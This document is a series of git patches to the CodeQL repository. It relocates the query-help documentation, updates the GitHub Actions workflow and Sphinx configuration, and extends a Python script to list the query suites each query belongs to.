docs/language/query-help/conf.py diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index bc09d9b2612..f9ccace89e7 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -8,7 +8,7 @@ on: - 'lgtm.com' pull_request: paths: - - 'docs/language/query-help/**' + - 'docs/codeql/query-help/**' jobs: build: @@ -38,10 +38,10 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - cp -r codeql/docs/language/query-help/ . ; cp -r codeql/docs/language/global-sphinx-files/ . + cp -r codeql/docs/codeql/** . - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python codeql/docs/codeql/query-help-markdown.py - name: Run Sphinx for query help uses: ammaraskar/sphinx-action@master with: diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 6372c6968b6..769de274fe2 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -109,5 +109,5 @@ templates_path = ['_templates'] # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] -exclude_patterns = ['vale*', '_static', '_templates', 'codeql', 'learn-ql', 'reusables', 'images', 'support', 'ql-training', '_build', '*.py*', 'README.rst'] +exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help','_build', '*.py*', 'README.rst'] ############################################################################## \ No newline at end of file diff --git a/docs/language/query-help-markdown.py b/docs/codeql/query-help-markdown.py similarity index 85% rename from docs/language/query-help-markdown.py rename to docs/codeql/query-help-markdown.py index a2e22abfd41..779a5db2f5d 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/codeql/query-help-markdown.py @@ -21,8 +21,7 @@ as long as you run the script from one of the following locations: # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# Query suites to generate help for -# lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more +# Query suites to generate help for - lgtm suite should cover the queries that users are interested in packs = ["lgtm"] def prefix_repo_nwo(filename): @@ -110,7 +109,6 @@ except Exception as e: # (and assumes the codeql-go repo is in a similar location) codeql_search_path = "./codeql:./codeql-go" # will be extended further down - # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. try: @@ -127,11 +125,18 @@ except: # Iterate over all languages and packs, and resolve which queries are part of those packs for lang in languages: + code_scanning_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-code-scanning.qls" % (lang)]).stdout.strip() + security_extended_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-security-extended.qls" % (lang)]).stdout.strip() + security_and_quality_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-security-and-quality.qls" % (lang)]).stdout.strip() # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree index_file_dictionary = {} for pack in packs: # Get absolute paths to queries in this pack by using 'codeql resolve queries' try: + queries_subp = subprocess_run( ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) except Exception as e: @@ -189,18 +194,34 @@ for lang in languages: "codeql", "codeql/tree/main").replace(" ", "%20").replace("\\", "/") query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + \ transform_link + ")\n" + + if queryfile in code_scanning_queries: + cs_suites = lang +'-code-scanning.qls ' + else: + cs_suites = "" + if queryfile in security_extended_queries: + se_suites = lang + '-security-extended.qls ' + else: + se_suites = "" + if queryfile in security_and_quality_queries: + sq_suites = lang + '-security-and-quality.qls ' + else: + sq_Suites = "" + + if queryfile in code_scanning_queries or queryfile in security_extended_queries or queryfile in security_and_quality_queries: + suites_list = "Query suites: " + cs_suites + se_suites + sq_suites + "\n" + else: + suites_list = "" # Join metadata into a literal block and add query link below meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ - query_precision + query_tags + "```\n\n" + query_link + "\n" + query_precision + query_tags + suites_list + "```\n\n" + query_link + "\n" # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - # Use id property (without language code) to make name for markdown file - s = query_id.index("/") - # replace "/" with "-" - query_name = query_id[s+1:-1].replace("/", "-") + # Use id property to make name for markdown file, replacing any "/" characters with "-" + query_name = query_id[4:-1].replace("/", "-") # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename index_file_dictionary[query_name_meta] = lang + "/" + query_name diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py new file mode 100644 index 00000000000..276daf50aab --- /dev/null +++ b/docs/codeql/query-help/conf.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- +# +# CodeQL query help configuration file +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +# For details of all possible config values, +# see https://www.sphinx-doc.org/en/master/usage/configuration.html + +# -- Project-specific configuration ----------------------------------- + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'CodeQL query help' + +# Add md parser to process query help markdown files +extensions =['recommonmark'] + +source_suffix = { + '.rst': 'restructuredtext', + '.md': 'markdown', +} + +# -- Project-specifc options for HTML output ---------------------------------------------- + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +html_theme_options = {'font_size': '16px', + 'body_text': '#333', + 'link': '#2F1695', + 'link_hover': '#2F1695', + 'show_powered_by': False, + 'nosidebar':True, + 'head_font_family': '-apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"', + } + +highlight_language = "none" + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['../_templates'] + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['../_static'] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. + +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file diff --git a/docs/language/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst similarity index 100% rename from docs/language/query-help/cpp.rst rename to docs/codeql/query-help/cpp.rst diff --git a/docs/language/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst similarity index 100% rename from docs/language/query-help/csharp.rst rename to docs/codeql/query-help/csharp.rst diff --git a/docs/language/query-help/go.rst b/docs/codeql/query-help/go.rst similarity index 100% rename from docs/language/query-help/go.rst rename to docs/codeql/query-help/go.rst diff --git a/docs/language/query-help/index.rst b/docs/codeql/query-help/index.rst similarity index 100% rename from docs/language/query-help/index.rst rename to docs/codeql/query-help/index.rst diff --git a/docs/language/query-help/java.rst b/docs/codeql/query-help/java.rst similarity index 100% rename from docs/language/query-help/java.rst rename to docs/codeql/query-help/java.rst diff --git a/docs/language/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst similarity index 100% rename from docs/language/query-help/javascript.rst rename to docs/codeql/query-help/javascript.rst diff --git a/docs/language/query-help/python.rst b/docs/codeql/query-help/python.rst similarity index 100% rename from docs/language/query-help/python.rst rename to docs/codeql/query-help/python.rst diff --git a/docs/language/query-help/readme.txt b/docs/codeql/query-help/readme.txt similarity index 100% rename from docs/language/query-help/readme.txt rename to docs/codeql/query-help/readme.txt diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py deleted file mode 100644 index 46fa45fece8..00000000000 --- a/docs/language/query-help/conf.py +++ /dev/null @@ -1,74 +0,0 @@ -# -*- coding: utf-8 -*- -# -# CodeQL query help configuration file -# -# This file is execfile()d with the current directory set to its -# containing dir. -# -# Note that not all possible configuration values are present in this -# autogenerated file. -# -# All configuration values have a default; values that are commented out -# serve to show the default. - -# For details of all possible config values, -# see https://www.sphinx-doc.org/en/master/usage/configuration.html - -# -- Project-specific configuration ----------------------------------- - -import os - -# Import global config values -with open(os.path.abspath("../global-sphinx-files/global-conf.py")) as in_file: - exec(in_file.read()) - -# Set QL as the default language for highlighting code. Set to none to disable -# syntax highlighting. If omitted or left blank, it defaults to Python 3. -# highlight_language = 'ql' - -# The master toctree document. -master_doc = 'index' - -# General information about the project. -project = u'CodeQL query help' - -# Add md parser to process query help markdown files -extensions =['recommonmark'] - -source_suffix = { - '.rst': 'restructuredtext', - '.md': 'markdown', -} - -# -- Project-specifc options for HTML output ---------------------------------------------- - -# The version info for this project, if different from version and release in main conf.py file. -# The short X.Y version. -# version = u'1.18' -# The full version, including alpha/beta/rc tags. -# release = u'1.18' - -# -- Currently unused, but potentially useful, configs-------------------------------------- - -# Add any paths that contain custom themes here, relative to this directory. -#html_theme_path = [] - -# A shorter title for the navigation bar. Default is the same as html_title. -#html_short_title = None - -# The name of an image file (relative to this directory) to place at the top -# of the sidebar. -#html_logo = None - -# Custom sidebar templates, maps document names to template names. -#html_sidebars = {} - -# Add any extra paths that contain custom files (such as robots.txt or -# .htaccess) here, relative to this directory. These files are copied -# directly to the root of the documentation. -#html_extra_path = [] - -# List of patterns, relative to source directory, that match files and -# directories to ignore when looking for source files. - -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file From dcf52f3ee3851fa8a545b99c245d24195042a63f Mon Sep 17 00:00:00 2001 From: james Date: Fri, 20 Nov 2020 13:59:12 +0000 Subject: [PATCH 28/31] improve lists in metadata section --- docs/codeql/query-help-markdown.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/codeql/query-help-markdown.py b/docs/codeql/query-help-markdown.py index 779a5db2f5d..9313d4b170d 100644 --- a/docs/codeql/query-help-markdown.py +++ b/docs/codeql/query-help-markdown.py @@ -182,8 +182,8 @@ for lang in languages: get_query_metadata('problem.severity', meta, queryfile) + "\n" query_precision = "Precision: " + \ get_query_metadata('precision', meta, queryfile) + "\n" - query_tags = "Tags: " + \ - get_query_metadata('tags', meta, queryfile) + "\n" + query_tags = "Tags:\n - " + \ + get_query_metadata('tags', meta, queryfile).replace(" ", "\n - ") + "\n" # Build a link to the query source file for display in the query help if "go" in prefix_repo_nwo(queryfile): @@ -196,20 +196,20 @@ for lang in languages: transform_link + ")\n" if queryfile in code_scanning_queries: - cs_suites = lang +'-code-scanning.qls ' + cs_suites = ' - ' + lang +'-code-scanning.qls\n' else: cs_suites = "" if queryfile in security_extended_queries: - se_suites = lang + '-security-extended.qls ' + se_suites = ' - ' + lang + '-security-extended.qls\n' else: se_suites = "" if queryfile in security_and_quality_queries: - sq_suites = lang + '-security-and-quality.qls ' + sq_suites = ' - ' +lang + '-security-and-quality.qls\n' else: sq_Suites = "" if queryfile in code_scanning_queries or queryfile in security_extended_queries or queryfile in security_and_quality_queries: - suites_list = "Query suites: " + cs_suites + se_suites + sq_suites + "\n" + suites_list = "Query suites:\n" + cs_suites + se_suites + sq_suites else: suites_list = "" From 4cea019cee04787bfaf5b8cdaca06f3198074e5b Mon Sep 17 00:00:00 2001 From: james Date: Fri, 27 Nov 2020 12:26:42 +0000 Subject: [PATCH 29/31] add/improve intro text and add links to example queries --- docs/codeql/query-help/cpp.rst | 4 ++++ docs/codeql/query-help/csharp.rst | 4 ++++ docs/codeql/query-help/go.rst | 4 ++++ docs/codeql/query-help/index.rst | 10 +++++----- docs/codeql/query-help/java.rst | 4 ++++ docs/codeql/query-help/javascript.rst | 4 ++++ docs/codeql/query-help/python.rst | 4 ++++ docs/codeql/reusables/query-help-overview.rst | 5 +++++ 8 files changed, 34 insertions(+), 5 deletions(-) create mode 100644 docs/codeql/reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst index 6240f0d4418..55dcd64ecd7 100644 --- a/docs/codeql/query-help/cpp.rst +++ b/docs/codeql/query-help/cpp.rst @@ -1,5 +1,9 @@ C and C++ query help ===================== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-cpp.rst \ No newline at end of file diff --git a/docs/codeql/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst index 7bc55ad7f6b..04849628d80 100644 --- a/docs/codeql/query-help/csharp.rst +++ b/docs/codeql/query-help/csharp.rst @@ -1,4 +1,8 @@ C# query help ============= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-csharp.rst \ No newline at end of file diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 6909b328443..5b2c3293698 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -1,4 +1,8 @@ Go query help ============= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-go.rst \ No newline at end of file diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index 9c668c2fcb4..52112b5d073 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -1,17 +1,17 @@ CodeQL query help ----------------- -Use the sidebar to view the query help for the queries included in the "code scanning" and "security extended" query suites for a single language. +View the query help for the queries included in the ``code-scanning``, ``security-extended``, and ``security-and-quality`` query suites for the languages supported by CodeQL. -Each query help page includes: +Each query help article includes: -- A summary of key metadata for the query +- A summary of key metadata for the query. +- Information about which query suites the query is included in. - A link to the query in the `CodeQL repository `__ -- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem in your code +- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: :titlesonly: - :hidden: cpp csharp diff --git a/docs/codeql/query-help/java.rst b/docs/codeql/query-help/java.rst index 2aaa2a20f23..315a902249a 100644 --- a/docs/codeql/query-help/java.rst +++ b/docs/codeql/query-help/java.rst @@ -1,4 +1,8 @@ Java query help =============== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-java.rst \ No newline at end of file diff --git a/docs/codeql/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst index 48b5a9adf17..0aa50f940e0 100644 --- a/docs/codeql/query-help/javascript.rst +++ b/docs/codeql/query-help/javascript.rst @@ -1,4 +1,8 @@ JavaScript query help ===================== +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-javascript.rst \ No newline at end of file diff --git a/docs/codeql/query-help/python.rst b/docs/codeql/query-help/python.rst index d71129bb318..a28c8e8d385 100644 --- a/docs/codeql/query-help/python.rst +++ b/docs/codeql/query-help/python.rst @@ -1,4 +1,8 @@ Python query help ================= +.. include:: ../reusables/query-help-overview.rst + +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. + .. include:: toc-python.rst \ No newline at end of file diff --git a/docs/codeql/reusables/query-help-overview.rst b/docs/codeql/reusables/query-help-overview.rst new file mode 100644 index 00000000000..76d0d56b993 --- /dev/null +++ b/docs/codeql/reusables/query-help-overview.rst @@ -0,0 +1,5 @@ +Visit the articles below to see the documentation for the queries included in the following query suites: + +- ``code-scanning``: queries run by default in code scanning. +- ``security-extended``: queries from ``code-scanning``, plus extra security queries with slightly lower precision and severity. +- ``security-and-quality``: queries from ``code-scanning``, ``security-and-quality``, plus extra maintainability and reliability queries. \ No newline at end of file From f7fe7c03b8b65d63bc40158bcd832985f6ac63e5 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Tue, 1 Dec 2020 13:42:53 +0000 Subject: [PATCH 30/31] Apply suggestions from code review Co-authored-by: Shati Patel <42641846+shati-patel@users.noreply.github.com> --- docs/codeql/conf.py | 2 +- docs/codeql/query-help/conf.py | 4 ++-- docs/codeql/query-help/go.rst | 4 ++-- docs/codeql/query-help/index.rst | 6 +++--- docs/codeql/reusables/query-help-overview.rst | 4 ++-- 5 files changed, 10 insertions(+), 10 deletions(-) diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 769de274fe2..52b142a97b4 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -110,4 +110,4 @@ templates_path = ['_templates'] html_static_path = ['_static'] exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help','_build', '*.py*', 'README.rst'] -############################################################################## \ No newline at end of file +############################################################################## diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py index 276daf50aab..8a03e305c32 100644 --- a/docs/codeql/query-help/conf.py +++ b/docs/codeql/query-help/conf.py @@ -30,7 +30,7 @@ source_suffix = { '.md': 'markdown', } -# -- Project-specifc options for HTML output ---------------------------------------------- +# -- Project-specific options for HTML output ---------------------------------------------- # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the @@ -57,4 +57,4 @@ html_static_path = ['../_static'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 5b2c3293698..30a52f40ff4 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -3,6 +3,6 @@ Go query help .. include:: ../reusables/query-help-overview.rst -For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL repository `__. +For shorter queries that you can use as building blocks when writing your own queries, see the `example queries in the CodeQL for Go repository `__. -.. include:: toc-go.rst \ No newline at end of file +.. include:: toc-go.rst diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index 52112b5d073..e31c5a3357b 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -7,8 +7,8 @@ Each query help article includes: - A summary of key metadata for the query. - Information about which query suites the query is included in. -- A link to the query in the `CodeQL repository `__ -- Help information to explain what potential vulnerability the query identifies and a recommendation for how to avoid introducing the problem to your code. +- A link to the query in the `CodeQL repository `__. +- A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: :titlesonly: @@ -19,4 +19,4 @@ Each query help article includes: java javascript python - \ No newline at end of file + diff --git a/docs/codeql/reusables/query-help-overview.rst b/docs/codeql/reusables/query-help-overview.rst index 76d0d56b993..52bc65fef5b 100644 --- a/docs/codeql/reusables/query-help-overview.rst +++ b/docs/codeql/reusables/query-help-overview.rst @@ -1,5 +1,5 @@ Visit the articles below to see the documentation for the queries included in the following query suites: -- ``code-scanning``: queries run by default in code scanning. +- ``code-scanning``: queries run by default in CodeQL code scanning on GitHub. - ``security-extended``: queries from ``code-scanning``, plus extra security queries with slightly lower precision and severity. -- ``security-and-quality``: queries from ``code-scanning``, ``security-and-quality``, plus extra maintainability and reliability queries. \ No newline at end of file +- ``security-and-quality``: queries from ``code-scanning``, ``security-extended``, plus extra maintainability and reliability queries. From 65a048b65c96b7c63878d1bf66102e5df17cf1fa Mon Sep 17 00:00:00 2001 From: james Date: Tue, 1 Dec 2020 14:19:12 +0000 Subject: [PATCH 31/31] address docs review comments --- .../workflows/generate-query-help-docs.yml | 2 +- docs/codeql/query-help/conf.py | 2 +- docs/codeql/query-help/cpp.rst | 4 ++-- docs/codeql/query-help/csharp.rst | 4 ++-- docs/codeql/query-help/go.rst | 4 ++-- docs/codeql/query-help/index.rst | 23 ++++++++++++++----- docs/codeql/query-help/java.rst | 4 ++-- docs/codeql/query-help/javascript.rst | 4 ++-- docs/codeql/query-help/python.rst | 4 ++-- .../query-help/{readme.txt => readme.md} | 0 10 files changed, 31 insertions(+), 20 deletions(-) rename docs/codeql/query-help/{readme.txt => readme.md} (100%) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index f9ccace89e7..c66a607e427 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -47,7 +47,7 @@ jobs: with: docs-folder: "query-help/" pre-build-command: "python -m pip install --upgrade recommonmark" - build-command: "sphinx-build -b html . _build" + build-command: "sphinx-build -b dirhtml . _build" - name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py index 8a03e305c32..d3530956d95 100644 --- a/docs/codeql/query-help/conf.py +++ b/docs/codeql/query-help/conf.py @@ -57,4 +57,4 @@ html_static_path = ['../_static'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages +exclude_patterns = ['toc-*', 'readme.md'] # ignore toc-.rst files as they are 'included' in index pages diff --git a/docs/codeql/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst index 55dcd64ecd7..7c3cbe304d7 100644 --- a/docs/codeql/query-help/cpp.rst +++ b/docs/codeql/query-help/cpp.rst @@ -1,5 +1,5 @@ -C and C++ query help -===================== +CodeQL query help for C and C++ +=============================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst index 04849628d80..9c5c6351ce3 100644 --- a/docs/codeql/query-help/csharp.rst +++ b/docs/codeql/query-help/csharp.rst @@ -1,5 +1,5 @@ -C# query help -============= +CodeQL query help for C# +======================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/go.rst b/docs/codeql/query-help/go.rst index 30a52f40ff4..e81d759f807 100644 --- a/docs/codeql/query-help/go.rst +++ b/docs/codeql/query-help/go.rst @@ -1,5 +1,5 @@ -Go query help -============= +CodeQL query help for Go +======================== .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/index.rst b/docs/codeql/query-help/index.rst index e31c5a3357b..5c523650d70 100644 --- a/docs/codeql/query-help/index.rst +++ b/docs/codeql/query-help/index.rst @@ -3,16 +3,27 @@ CodeQL query help View the query help for the queries included in the ``code-scanning``, ``security-extended``, and ``security-and-quality`` query suites for the languages supported by CodeQL. -Each query help article includes: +- :doc:`CodeQL query help for C and C++ ` +- :doc:`CodeQL query help for C# ` +- :doc:`CodeQL query help for Go ` +- :doc:`CodeQL query help for Java ` +- :doc:`CodeQL query help for JavaScript ` +- :doc:`CodeQL query help for Python ` -- A summary of key metadata for the query. -- Information about which query suites the query is included in. -- A link to the query in the `CodeQL repository `__. -- A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. + +.. pull-quote:: Information + + Each query help article includes: + + - A summary of key metadata for the query. + - Information about which query suites the query is included in. + - A link to the query in the `CodeQL repository `__. + - A description of the potential vulnerability that the query identifies and a recommendation for how to avoid introducing the problem to your code. .. toctree:: + :hidden: :titlesonly: - + cpp csharp go diff --git a/docs/codeql/query-help/java.rst b/docs/codeql/query-help/java.rst index 315a902249a..cf370538999 100644 --- a/docs/codeql/query-help/java.rst +++ b/docs/codeql/query-help/java.rst @@ -1,5 +1,5 @@ -Java query help -=============== +CodeQL query help for Java query +================================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst index 0aa50f940e0..d7cf6797852 100644 --- a/docs/codeql/query-help/javascript.rst +++ b/docs/codeql/query-help/javascript.rst @@ -1,5 +1,5 @@ -JavaScript query help -===================== +CodeQL query help for JavaScript +================================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/python.rst b/docs/codeql/query-help/python.rst index a28c8e8d385..da68c1caa9b 100644 --- a/docs/codeql/query-help/python.rst +++ b/docs/codeql/query-help/python.rst @@ -1,5 +1,5 @@ -Python query help -================= +CodeQL query help for Python +============================ .. include:: ../reusables/query-help-overview.rst diff --git a/docs/codeql/query-help/readme.txt b/docs/codeql/query-help/readme.md similarity index 100% rename from docs/codeql/query-help/readme.txt rename to docs/codeql/query-help/readme.md